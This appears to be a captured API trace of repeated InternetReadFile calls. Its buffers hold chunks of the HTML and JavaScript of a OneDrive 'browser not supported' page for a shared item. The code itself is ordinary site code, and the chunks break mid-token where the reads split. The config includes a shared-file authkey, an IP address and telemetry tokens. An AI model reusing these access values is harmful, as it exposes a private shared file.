t=!(!window.Flight.Ramps||!window.Flight.Ramps.JSPerformanceDataSampling),n="JSPerformanceData",e=window.JSPerformanceData=function(e){this.context=Log.start(n,!t),e&&this.setData(e)};e.logData=function(t){new e(t).end()},e.enabled=t,e.eventName=n,e.prototype={name:n,setData:function(t){return this.context.setData({name:Log.cleanString(t.name),startTime:t.startTime,redirectStart:t.redirectStart,redirectEnd:t.redirectEnd,fetchStart:t.fetchStart,domainLookupStart:t.domainLookupStart,domainLookupEnd:t.domainLookupEnd,connectionStart:t.connectionStart,secureConnectionStart:t.secureConnectionStart,connectionEnd:t.connectionEnd,requestStart:t.requestStart,responseStart:t.responseStart,responseEnd:t.responseEnd,duration:t.duration})},asyncCallback:function(t){return this.context.asyncCallback(t)},end:function(){return this.context.end()},logError:function(t){return this.context.logError(t)}}}(); !function(){function e(e){this.performance=e,this.lastLoggedPerformanceEntry=null;var r=this;this._logBinding=function(){r.setTimeoutHandler&&clearTimeout(r.setTimeoutHandler),r.setTimeoutHandler=null,r.log()},void 0!==this.performance.onresourcetimingbufferfull?this.performance.onresourcetimingbufferfull=this._logBinding:void 0!==e.onwebkitresourcetimingbufferfull&&(this.performance.onwebkitresourcetimingbufferfull=this._logBinding),this.log()}function r(){var t=window.frames;if(t)for(var a
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: vent",t=window.RequireJSOnFirstRequireEvent=function(t){this.context=Log.start(r,!e),t&&this.setData(t)};t.logData=function(e){new t(e).end()},t.enabled=e,t.eventName=r,t.prototype={name:r,setData:function(e){return this.context.setData({isSuccess:e.isSuccess,errorMessage:Log.cleanString(e.errorMessage),errorRequireType:Log.cleanString(e.errorRequireType),errorRequireModules:e.errorRequireModules,errorRetryCount:e.errorRetryCount})},asyncCallback:function(e){return this.context.asyncCallback(e)},end:function(){return this.context.end()},logError:function(e){return this.context.logError(e)}}}(); !function(){function e(e,o,r){var n=e+"="+o+";path=/;domain="+$Config.urlHost+";";r&&(n+="expires="+new Date(2e3,1,1).toUTCString()+";"),document.cookie=n}function o(o,r){e("sr",o+"requireDeps",r),e("failedsession",Flight.session,r)}var r=1e4;window.RequireDeps=function(){var e=new RequireJSOnFirstRequireEvent,n=!1,t=function(t,i){t!=Log.eventTypes.end||i.name!=RequireJSError.eventName||n||e.asyncCallback(function(t){n=!0;var i={isSuccess:!1,errorMessage:t.message,errorRequireType:t.requireType,errorRequireModules:t.requireModules};0===document.cookie.indexOf("sr=3")||document.cookie.indexOf("; sr=3")>-1?(o(0,!0),i.errorRetryCount=4,e.setData(i)):0===document.cookie.indexOf("sr=2")||document.cookie.indexOf("; sr=2")>-1?(i.errorRetryCount=3,e.setData(i),o(3,!1),setTimeout(function(){window.top.location=document.location.href},r)):0===document.cookie.indexOf("sr=")||document.cookie.indexOf("; sr=")>-1?(i.errorRetryCount=2,e.setData(i),o(2,!1),setTimeout(function(){location.reload(!0)},r)):(i.errorRetryCount=1,e.setData(i),o(1,!1),setTimeout(function(){window.top.location=document.location.href},r))})(i.data)};Log.addHandler(t),require($Config.requireJsDepsArray,e.asyncCallback(function(){var r={isSuccess:!0};e.setData(r),o(0,!0),n=!0}))}}(); </script><script type="text/javascript">//<![CDATA[ (function(){var a=window.$Static={},g,d=[],k=false,l=0,b=[],e={},h={},f=1,i=1,j=1,m=0;a.queue=function v(n,l,j,d,i,m,k){var f=new o(n,l||0,j||[],!!d,b.length,i,m,k);b.push(f);e[f.f]=f;if(!!d){d.push(f.f);for(var g=0;g<d.length;g++)(h[d[g]]=h[d[g]]||[]).push(f)}c();return a};a.exec=function w(e){var d=0,a=h[e];if(!!a){d=2;for(var b=0;b<a.length;b++){a[b].e();if(2>a[b].s)d=1}c()}return d};a.shutdown=function r(){m=1};a.pause=function u(a){f=!a;i=0};a.resume=function t(){f=1;i=1;c()};a.stall=function y(){f=0};a.page=function x(l,h){var d,k=$Do.q;f=!l;j=0;a.max=1;_scriptsOnPage=[];if(h){var i=document.getElementsByTagName("script");for(var g=0;g<i.length;g++)_scriptsOnPage[i[g].src]=1}for(d=0;d<b.length;d++){var e=b[d];if(!h)e.x();else if(_scriptsOnPage[e.u])e.x()}for(d=0;d<k.length;d++)a.exec(k[d].id);c()};a.setQosCB=function q(a){g=a;n()};a.logQos=function s(b){var e=window.$Config,m=e&&e.BSI,c=m&&m.Scenario,j=c&&c.handlerPath,h=c&&c.DefaultScenario,q=(!e||h)&&b.apiId;if(q){b.endTime=(new Date).getTime();k=k||!!b.errorCode&&b.errorType!=="c";d.push(b);if(g)n();else if(k&&j){for(var f=d.length;f>0;f--){var s=f-1,a=d[s],l=a.endTime,i=a.startTime||l,r=l-i,o=a.errorCode||"ok",p
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: =a.errorType||"";(new Image).src=j+"?sc="+h+"&ppd="+a.propertyId+"&api="+a.apiId+"&dur="+r+"&err="+o+"&errtp="+p+"&dep="+a.propertyId+"&stt="+i}d=[]}}};function c(){setTimeout(function(){var e;b.sort(function(a,b){return a.z()-b.z()});for(e=0;e<b.length&&!j;e++){var c=b[e];if(!c.d&&3>c.s&&!c.p(4)){var d=c.h=_d.createElement(c.j?"script":"link");if(c.j){d.src=c.u;d.onload=c.l;d.onerror=c.r}else{d.href=c.u;d.rel="StyleSheet";d.onload=c.x}c.t=(new Date).getTime();d.onreadystatechange=c.y;_dh.appendChild(d);c.s=3}}for(e=0;e<b.length&&l<a.max*f;e++){var c=b[e];if(!(c.s||c.d&&(!i||j))){c.s=1;l++;p(c)}}},0)}function n(){if(g){g(d);d=[]}}function p(b){a.load(b.u,function(){if(2>b.s)b.s=2;l--;c()})}function o(h,l,b,f,k,i,n,j){var a=this,d;a.u=h;a.f=h.split(/[?#]/)[0].split("/").pop();a.j=!a.f.match(/\.css$/);a.d=f;a.s=0;a.h=0;a.t=0;a.e=function p(){a.d=0;for(var c=0;c<b.length;c++)if(!!e[b[c]])e[b[c]].e()};a.l=function u(){if(!g())a.x()};a.r=function t(){g("DownloadFailure")};a.x=function r(){var b=$Do.register;if(!m&&(!f||a.h)){a.s=4;b&&b(a.f);c()}};a.y=function o(){var b=a.h.readyState;if("loaded"==b||"complete"==b)a.l()};a.p=function q(c){for(var a=0;a<b.length;a++)if(!e[b[a]]||c>e[b[a]].s)return 1;return 0};a.z=function s(){return k+64*a.j+128*l+16384*a.d+32768*a.p(1)};function g(b){if(d===undefined){var c={apiId:n,propertyId:j,startTime:a.t,errorCode:b};if(window.SM_Check)d=window.SM_Check(i,undefined,c);else{$Static.logQos(c);d=!!b}}return d}}})() //]]></script> <title>Microsoft services</title> <link rel="shortcut icon" href="https&#58;//p.sfx.ms/images/favicon.ico" type="image/x-icon" /> <link rel="mask-icon" href="https&#58;//p.sfx.ms/images/mask_icon.svg" color="#0078D4"> </head> <body style="" class="ltr SignedOut IE IE_Win Win6 IE_M9 IE_D0 Full RE_Trident" id="browsernotsupported"><script type="text/javascript">//<![CDATA[ $CSIPerf._ttg=(new Date).getTime();$CSIPerf.lapse.push({s:"bc",t:$CSIPerf._ttg}) //]]></script> <div id="m_wh"><script type="text/javascript">//<![CDATA[ function $MB(c,d,g,f,e,a){if(!window.$f)return;c=c||event;var h=c.target||c.srcElement;a=a||$f.pn(h,"c_ml");var b=_ge(a.getAttribute("hid"));if(a&&!a.menu)if(b&&b.parentNode!=a.parentNode){$css.add(b,"uxfa_m c_m t_hovl");b.setAttribute("hid",a.getAttribute("hid"));a.parentNode.insertBefore(b,a.nextSibling);$Do.when("$Header.MenuBind",0,b)}try{$menu.bind(c,g,f,1,0,0,undefined,e)}catch(i){}if(d)$Do.when("$WLXIMCL.initialize",0,0);if(b)return $f.cancelEvent(c)}function $ToggleSidebar(a){if(window.$WLXIM)$WLXIM.toggleSidebar(a)} //]]></script><script type="text/javascript">//<![CDATA[ var $B={'ltr':1,'SignedOut':1,'IE':1,'IE_Win':1,'Win6':1,'IE_M9':1,'IE_D0':1,'Full':1,'RE_Trident':1,browser: { name: "IE", major: "9", minor: "0"},os: { name: "Windows NT 6.1"},V:9.0} //]]></script><div id="c_header" class="c_hb c_hcnlto c_hncb"><div class="c_c t_hdbg c_cd c_c8 c_clt c_clih" id="c_cb0"><div class="c_clogo t_hdbg c_clogoi" style="min-width:170px"><a href="#" id="c_clogoc" class="t_bc" role="button" aria-label="More services" aria-expanded="false" aria-haspopup="true" onclick="return false"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/command5.png);background-position:-201px -0px;width:16px;height:16px;" src="https&#58;//p.sfx.ms/is/invis.gif" alt="More services"/></span></a><h1><a aria-label="OneDrive" id="c_clogot" class="c_clogot" href="/" title=""><span class="c_clogoimg"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/images/OneDriveLogoLight4.png);background-position:-0px -0px;width:88px;height:34px;" src="https&#58;//p.sfx.ms/is/invis.gif" alt="OneDrive"/></span></span></a></h1></div><ul class="c_cc" role="presentation"><li class="c_cmore c_mcp"><a href="&#35;" onclick="try&#123;&#36;menu.create&#40;event,6,&#123;defaultLoc&#58;0,bindEnterKey&#58;true&#125;&#41;&#59;&#125;catch&#40;e&#41;&#123;&#125;&#59;return false" class="c_cmorel
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: id&#37;3D7C9C82DE5899257A&#37;252123
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: 26&#37;26authkey&#37;3DAFQStmbC1Mpi4TM&#38;lc&#61;1033&#38;id&#61;250206&#38;cbcxt&#61;sky&#38;cbcxt&#61;sky" class="c_mehover" target="_top"><span class="c_signin_text">Sign in</span></a></span></div></div><script type="text/javascript">new function(){var c_cb = document.getElementById("c_cb0");c_cb.h = 1;c_cb.m=100;c_cb.i=1;c_cb.l=170;c_cb.dataModel={"logo":{"containerWidth":"170px","text":"OneDrive","title":null,"url":"\u002f","hasPropertyText":1}};c_cb.r=1;(function(){var a=c_cb.children[1];if(c_cb.h)a.lastChild.style.display="none";$Do.register("$CommandBarDomReady")})();}</script> </div><script type="text/javascript">var $HIC={};$HIC.e=7;$HIC.NoWebIm=1;</script><script type="text/javascript">//<![CDATA[ var $HeaderCookie={};(function(){var a=$HeaderCookie,b=_ge("c_mocc"),g=_ge("c_murc"),h=$B.rtl?"&#x200f;":"";function c(a){if(b&&!$HIC.NoWebIm){b.style.display="inline";if(a>999)a="99+";b.innerHTML="&nbsp;"+a}$HIC.m=a;$Do.when("$Header.UpdateCookie",this)}a.updateContactsCount=c;function e(){if(this.dataIsGood&&$HIC.m)return $HIC.m;else return 0}a.getContactsCount=e;function d(b,a){a=a||g;if(a){a.style.display="inline";if(b>9999)b="999+";a.innerHTML="&nbsp;"+b}$HIC.l=b;$Do.when("$Header.UpdateCookie",this)}a.updateUnreadCount=d;function f(){if(this.dataIsGood&&$HIC.l)return $HIC.l;else return 0}a.getUnreadCount=f;if($HIC.m)c(parseInt($HIC.m));if($HIC.l)d(parseInt($HIC.l))})() //]]></script><div id="c_h_hm"><div id="c_hmc" style="display:none"><ul id="c_h_ttl"><li><a id="c_h_mail" href="https://mail.live.com" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-116px -230px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>Outlook.com</span></a></li><li><a id="c_h_ppl" href="https://people.live.com" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-2px -116px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>People</span></a></li><li><a id="c_h_cal" href="https://calendar.live.com/calendar/calendar.aspx" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-344px -116px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>Calendar</span></a></li><li><a id="c_h_sd" href="https://onedrive.live.com/" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-344px -2px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>OneDrive</span></a></li><li><a id="c_h_wd" href="https://g.live.com/8seskydrive/switcherword" target="_blank"><span class="is_c"><img class="is_img" onload="$D
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: o.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-230px -116px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>Word Online</span></a></li><li><a id="c_h_xl" href="https://g.live.com/8seskydrive/switcherexcel" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-230px -230px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>Excel Online</span></a></li><li><a id="c_h_ppt" href="https://g.live.com/8seskydrive/switcherpowerpoint" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-2px -230px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>PowerPoint Online</span></a></li><li><a id="c_h_on" href="https://g.live.com/8seskydrive/switcheronenote" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-116px -2px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>OneNote Online</span></a></li><li><a id="c_h_sw" href="https://g.live.com/8seskydrive/switchersway" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-116px -116px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>Sway</span></a></li><li><a id="c_h_oo" href="https://g.live.com/8seskydrive/switcheroffice" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/logos5o.png);background-position:-230px -2px;width:110px;height:110px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>Office Online</span></a></li></ul><ul id="c_ht_mail"><li><a href="https://mail.live.com" target="_blank"><span>Inbox</span></a></li><li><a href="https://calendar.live.com/calendar/calendar.aspx" target="_blank"><span>Calendar</span></a></li><li><a href="https://people.live.com" target="_blank"><span>Contacts</span></a><span class="c_ms" role="presentation"></span></li><li><a href="https://mail.live.com/?rru=compose" target="_blank"><span>Send email</span></a></li></ul><ul id="c_ht_skydrive"><li><a href="https://onedrive.live.com/?sc=documents" target="_blank"><span>Documents</span></a></li><li><a href="https://onedrive.live.com/?sc=photos" target="_blank"><span>Photos</span></a><span class="c_ms" role="presentation"></span></li><li><a href="https://onedrive.live.com/?qt=mru" target="_blank"><span>Recent docs</span></a></li><li><a href="https://onedrive.live.com/?qt=shared" target="_blank"><span>Shared</span></a></li><li><a href="https://groups.live.com/" target="_blank"><span>Groups</span></a><span class="c_ms" role="presentation"></span></li><li><a href="https://onedrive.live.com/peopletags.aspx" target="_blank"><span>Photos of you</span></a><span class="c_ms" role="presentation"></span></li><li><a href="https://onedrive.live.com/newlivedocument.aspx?xt=docx" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/command5.png);background-position:-94px -8px;width:16px;height:16px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>New Word document</span></a></li><li><a href="https://onedrive.live.com/newlivedocument.aspx?xt=xlsx" target="_blank"><span class="is_c"><img class="is_img" onload="$Do.when('$IS.Init',0,this);" style="background-image:url(https&#58;//p.sfx.ms/h/command5.png);background-position:-62px -8px;width:16px;height:16px;" src="https&#58;//p.sfx.ms/is/invis.gif"/></span> <span>New Excel workbook</span></a></li><li><a href="https://onedrive.live.com/newlivedocument.aspx?xt=pptx" targ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: fwlink/&#63;LinkID&#61;85433">Report abuse</a></li></ul> </td> </tr> </table> </div></div><script type="text/javascript">//<![CDATA[ $CSIPerf.lapse.push({s:"ac",t:(new Date).getTime()}) //]]></script><script type="text/javascript">//<![CDATA[ var $Config={"BSI":{"enabled":1,"xid":"82aac556-fc67-4b87-823e-6a59cf0f4246","pn":"browsernotsupported","rid":"0018592edbf","biciPrevious":"82aac556-fc67-4b87-823e-6a59cf0f4246_0018592edbf_15347","BICI":{"fid":"8592","urlHash":"vazo6","beaconUrl":"\u002f\u002fc.live.com\u002fc.gif\u003fDI\u003d15347\u0026wlxid\u003d82aac556-fc67-4b87-823e-6a59cf0f4246\u0026reqid\u003d0018592edbf","enableLD":1,"enableGlinkExtra":1,"enableGlinkCall":1,"suppressBrowserRightClickMenu":1},"SBSPLT":{"rt":"637982838561703903"},"startMerge":1,"CSIPerf":{"enabled":1,"page":{"landingPageName":"","timeStamp":""},"IDSS":{"enabled":1},"WLXFD":{"enabled":1},"Trace":{"enabled":1}},"Scenario":{"handlerPath":"\u002fHandlers\u002fScenarioQos.mvc"},"Watson":{"fbody":1,"enabled":1,"sr":100}},"build":"0.0.0","mkt":"en-US","mmn":"RD0004FFA71D8C","di":15347,"prop":"SDX.Skydrive","sd":".live.com","hn":"onedrive.live.com","isSecure":1,"handlerBaseUrl":"https\u003a\u002f\u002fonedrive.live.com\u002f","ip":"147.243.198.23","cid":"UnAuth","hcid":"","email":"UnAuth","urlHost":"onedrive.live.com","AriaProdToken":"a23e4f242c9c4097a968f28c62633e19-62d0d830-5afd-4df3-8e40-351c8711cf5c-7157","AriaPreProdToken":"3d697adc11914fa4991f1c3870255788-1afd84c4-bb01-494a-bfb0-0216ab2771c6-6977","silentAuth":"https\u003a\u002f\u002flogin.live.com\u002flogin.srf\u003fwa\u003dwsignin1.0\u0026rpsnv\u003d13\u0026checkda\u003d1\u0026ct\u003d1662687056\u0026rver\u003d7.3.6962.0\u0026wp\u003dMBI_SSL_SHARED\u0026wlcxt\u003dtitle\u0026wreply\u003d\u00257B\u00257BRU\u00257D\u00257D\u0026lc\u003d1033\u0026id\u003d250206\u0026cbcxt\u003dsky","lang":"en","unid":"UnAuth","mktLocale":"en-US","requireJsDeps":"\u005b\u0022jquery-1.7.2\u0022,\u0022livefolders\u0022,\u0022doregister\u0022\u005d","requireJsDepsArray":["jquery-1.7.2","livefolders","doregister"],"wla":"\u002fhandlers\u002fclientstring.mvc\u003fmkt\u003den-US\u0026group\u003dwlive\u0026v\u003d19.773.0927.2003\u0026useRequiresJs\u003dFalse","ff":1,"bpcc":"wl_optintopcexperience","fpcl":"https\u003a\u002f\u002fonedrive.live.com\u002fbrowsernotsupported\u003fcid\u003d7C9C82DE5899257A\u0026resid\u003d7C9C82DE5899257A\u0025212326\u0026authkey\u003dAFQStmbC1Mpi4TM","ContactCache":{"canary":"IrM1eWPdZx3lvmr1xhrcrEuc6Rpe5X5otT9q49Xe2Uw\u003d3","peopleApiBaseUrl":"people.directory.live.com","peopleApiAppId":"369bdc41-b51e-46e0-a40e-d4b2b5e09a7c","batchSize":"122","profileUrl":"https\u003a\u002f\u002fprofile.live.com\u002fcid-\u007bcid\u007d\u002f","photosUrl":"https\u003a\u002f\u002fonedrive.live.com\u002f\u003fcid\u003d\u007bcid\u007d\u0026sc\u003dphotos","fullSyncInterval":"86400000","deltaSyncInterval":"300000","fullSyncDelay":"0","initOnPageLoad":1,"qos":1,"actionHistoryMaxLength":20,"nameType":"0","nns":"\u0028Unnamed\u0029"},"domain":"live.com","fdbk":{"hd":"Feedback","ldHd":"Getting feedback form","errTxt":"It might be that your PC isn\u0027t connected to the Internet or that our servers are down. Wait a bit, and then try again.","errHd":"We can\u0027t get the feedback form right now","cb":"Cancel","tyu":"Thank you for your feedback"},"Header":{"themeJsUrl":"https\u003a\u002f\u002fp.sfx.ms\u002fthemes_2Mnq0in8zi1hEAKuIpTYPQ2.js"},"imgsBase":"https\u003a\u002f\u002fp.sfx.ms\u002f","Themes":{"baseUrl":"https\u003a\u002f\u002fp.sfx.ms\u002f","current":"SkyDrive","url":"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20190726.002\u002f\u002fSkyDrive.css","genService":"\u002fHandlers\u002fThemeCss.mvc\u003ftheme\u003d\u007bthemeid\u007d","uniqueServiceParams":"CSSTemplates\u003ddefault\u00252cie\u0026IsRTL\u003dFalse\u0026LangDirection\u003dltr\u0026Left\u003dleft\u0026Right\u003dright\u0026IsMobile\u003dFalse","defaultTheme":"base","numberOfThemes":"18"},"CommandBar":{"resize":1},"hc":{"url":"http\u003a\u002f\u002fg.live.com\u002f9uxp9hlp\u002fhl
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: modulesFalledBack: [] } : undefined; var corsMatch = /^https:\/\/(.*?\.odsp.cdn.office|az.*?\.vo.msecnd|spo.*?\.akamaihd)\.net\/?[^?]/; function processConfigToSupportFailOver(config) { if (!backupBaseUrl) { return config; } var paths = {}; for (var bundleId in config.bundles) { var bundlePath = config.paths[bundleId]; delete config.paths[bundleId]; var fallbackPaths = [bundlePath, backupBaseUrl + bundlePath]; for (var _i = 0, _a = config.bundles[bundleId]; _i < _a.length; _i++) { var moduleName = _a[_i]; paths[moduleName] = fallbackPaths; } } // if any paths remain, they may be legacy special case ones (e.g. jquery). // fix up those remaining mappings. for (var bundleId in config.paths) { var bundlePath = config.paths[bundleId]; var fallbackPaths = [bundlePath, backupBaseUrl + bundlePath]; paths[bundleId] = fallbackPaths; } return { waitSeconds: config.waitSeconds, baseUrl: config.baseUrl, paths: paths, shim: config.shim, onPathFallback: function (options) { var moduleId = options.moduleId; if (moduleId && window.$Config && $Config.requireJsDepsArray && $Config.requireJsDepsArray.indexOf(moduleId) >= 0) { var failedModules = failOverState.modulesFalledBack; failedModules.push(moduleId); if (!failOverState.baseUrlFailedOver && failedModules.length >= 2) { require.config({ baseUrl: backupBaseUrl }); failOverState.baseUrlFailedOver = true; } } }, onNodeCreated: config.onNodeCreated }; } requirejs.config(processConfigToSupportFailOver({ waitSeconds: 45, baseUrl: "https://spoprod-a.akamaihd.net/files/onedrive-website-release-prod_master_20190726.002/", paths: {"jquery-1.7.2":"jquery-1.7.2-39eeb07e","legacy0":"legacy0-e2cc9701","legacy1":"legacy1-1a09fb82","legacy_s_test":"legacy_s_test-91b760c0","legacy_s_legacy":"legacy_s_legacy-e428f2e2","legacy_s_unknownscenario":"legacy_s_unknownscen
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: ario-0adc86dd"}, bundles: {"legacy0":["debug","lightobject","lightstring","lightarray","defineconfig","validateconfig","utility","utilityextensions","beacon","lightfunction","watson","do","cookie"],"legacy1":["registernamespace","dependancies","truncateellipsis","bsi","css","sutra","setup","lightenums","settimeout","helpcontext","lightnetwork","scenarioqos","pagestats","baseutil","domutils","wlivecss","wliveimagestrip","wlivemenu","csiperf","date","reporter","idletimer","names","messagingaddress","peoplecontactdetails","peoplecontact","persondetails","person","group","category","service","settings","lazyhash","crossdomainproxy","storageproxy","store","serviceproxy","deltasync","syncclient","client","networkid","sortorder","cache","pwcinitializer","iccommondata","ictemplate","ictemplates","icaction","icpresence","iccard","ic","icmanager","safelinks","ssl","wlivenavlink","navigationcollections","sharedlapsetimer","headerhelper","mecontrol","footer","leftnav","collapsing","wlivecommandbar","trie","icusertilescript.inline","logout","preload","basemaster","persistenceframework","flextag","animationsstub","webim","wliveloaded","jquery.simplecallbacks","jquery.observable","jsrender","jquery.views"],"legacy_s_test":["jquery.signalr","defineutilities","trace","jbasedebug","jbase","qos","qosoverrides","addremovelisteners","registerstyle","renderutilities","domutilities","objecteventing","promise","retriablepromise","async","workmonitor","elementeventing","itemset","joineditemset","number","refcountable","sutrautilities","resourcable","datacontext","basecontrol","controlpathpart","controlpath","messagejsenumcreator","testconnection","testchannelmanager","liveunitmanager","basecommandparser","executefunction","getcontrolstate","waitforcontrolstate","waitforcontrolexists","getcontrolelementid","setcookies","clearcookies","navigate","setremotemachine","executejavascript","visible","exists","click","inputtext","getcurrenturl","keypress","selectindex","skytest"],"legacy_s_legacy":["postcookietoss.inline","livefolders","popover","popover.msgbox","queuing","automation","notificationbase","notificationbar","flyout","modaldialog","toast","ariasupport","doregister"],"legacy_s_unknownscenario":["webimnamespaces","coreconstants","coreenums","compatlayer","corelibrary","delegate","ienumerator","collectionchange","stringbuilder","servicedatahelper","nativejsonparser","json","authenticationinfo","messengersessioninfo","consumptionhorizoninfo","contactinfo","calleventmessageinfo","threadactivitymessageinfo","groupconversationmemberinfo","groupconversationinfo","skypeinitializationinfo","dateinfo","datagraminfo","identityinfo","imaddressinfo","logrequestmessageinfo","mailnotificationactivityinfo","mailnotificationincominginfo","mailnotificationinfo","mailnotificationinitialinfo","messageinfo","messengersessionevents","messengersessionstate","networkinfo","personinfo","servicedatainfo","servicedatadiff","serviceendpointdatainfo","textmessageformatinfo","textmessageinfo","webmainhelper","groupchatfeatures","webimsettings","skyjshelper","serviceendpointdata","cmserviceendpointdata","skpserviceendpointdata","servicedata","cmservicedata","skpservicedata","imserviceendpointdata","imservicedata","pdserviceendpointdata","pdservicedata","peserviceendpointdata","peservicedata","serviceendpointdataset","servicedataset","logger","servicesconstants","servicesenums","bigint","converthelper","datetimehelper","timedentry","timeoutqueue","md5","md5auth","contacthelper","timer","scheduler","urihelper","xmlhelper","iconnectionserviceevents","iuserserviceevents","configuration","httpresponse","httprequest","httprequestmanager","proxynetwork","mimeparser","mimebuilder","mri","msnpcommand","msnpservercommand","msnptextparser","httpmsnptransport","msnpconnection","contentlayer","messaginglayer","notificationlayer","publicationlayer","reliabilitylayer","routinglayer","mailnotificationparser","pagedmessage","networkdatareader","servicedatareader","servicedatawriter","csconnection","cscommand","csupdateconversationpropertycommand","csgetgroupinfocommand
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: ntactlisttile","searchcontrol","selectedcontact.control","contactpickerv2","groupchatpersonfactory","contactpickercontrol","contacttile","contacttileeventshandler","picturegridcontrol","contactsearchindexer","contactsearchcontrol","peoplecontrol","messagingmodulecontrol","favoritescontrol","modernconversationrosteritem","modernconversationrostercontrol","modernconversationhistoryitem","modernconversationhistorycontrol","modernconversationinfobarcontrol","modernconversationnetworkmenuitem","modernconversationnetworkcontrol","modernconversationcontrol","recentconversationsconnectedtocontrol","recentconversationsitem","recentconversationslistcontrol","upsellcontrol","landingpagecontrol","webimend","appinsights.legacypayload"]}, shim: {}, // Add crossorigin="anonymous" tag so script is transparent to service worker and can then be cached onNodeCreated: function (node, c, moduleName, url) { // Determine if URL resource is from internal CDN and then served with the 'Access-Control-Allow-Origin:*' CORS header if (corsMatch.test(url)) { node.setAttribute('crossorigin', 'anonymous'); } }}));RequireDeps();</script> <div class="c_ic_hide"><div id="icTmMeControlXXL_template"><script type="text/javascript">//<![CDATA[ $icerrsrc = "https\x3a\x2f\x2fp.sfx.ms\x2fic\x2fbluemanm.png";function ic_showBar(c){try{var b=c+"_bar",a=_ge(b);if(a)a.style.visibility="inherit"}catch(d){}}function ic_onTE(a){try{var c=a.getAttribute("errsrc")||$icerrsrc;if(a.src!=c){a.className="c_ic_tile";var b=a.style;b.top=b.left=b.height=b.width="";setTimeout(function(){a.src=c;a.style.visibility=""},0)}}catch(d){}}function ic_onTL(a){try{var d,c,g=0;a.className="c_ic_tile";if(a.naturalHeight){d=a.naturalWidth;c=a.naturalHeight}else{var f=new Image;f.src=a.src;d=f.width;c=f.height}var b;if(window.getComputedStyle)b=window.getComputedStyle(
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: a,"")
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: ;else b=a.currentStyle;if(d==1&&c==1||b&&b.width=="1px"&&b.height=="1px"){ic_onTE(a);return}var h=Math.round;if(d&&c&&d!=c&&b){var e=a.style;if(d>c){var i=parseInt(b.height),j=parseInt(b.width),k=h(d*(i/c));g=-h((k-j)/2);e.left=g+"px";e.maxWidth="none";e.width="auto"}else{e.maxHeight="none";e.height="auto"}}a.style.visibility=""}catch(l){}}; //]]></script><script type="text/javascript">//<![CDATA[ function uxp_imgClipClick(){}function ieImgAnchorFix(b){try{var a=event;if(typeof a.srcElement.src!="undefined"&&a.button!=2){var c=b.target||"_self";if(a.ctrlKey||a.shiftKey||a.button==4)c="_blank";window.open(b.href,c);a.cancelBubble=true;a.returnValue=false}}catch(d){}} //]]></script><div id="icTmMeControlXXL" class="c_ic c_ic_h_mxxl"><div class="c_ic_img_h c_ic_img_mxxl"><div class="c_ic_img_sub c_ic_img_mxxl" id="icTmMeControlXXL_usertilecontainer"><span id="icTmMeControlXXL_frame_clip" title="&#123;3&#125;" class="c_ic_frame_clip" target="_top" href="https&#58;//profile.live.com/" ><div class="c_ic_tile_clip"><img id="icTmMeControlXXL_usertile" errsrc="https://p.sfx.ms/ic/bluemanmxxl.png" style="visibility:hidden;" alt="&#123;3&#125;" /></div><div class="c_ic_blueframe c_ic_bar" id="icTmMeControlXXL_bar" dir="ltr" style="visibility:hidden;"></div></span></div></div><div class="c_clr"></div></div></div><div id="icTmMeControlMedium_template"><div id="icTmMeControlMedium" class="c_ic 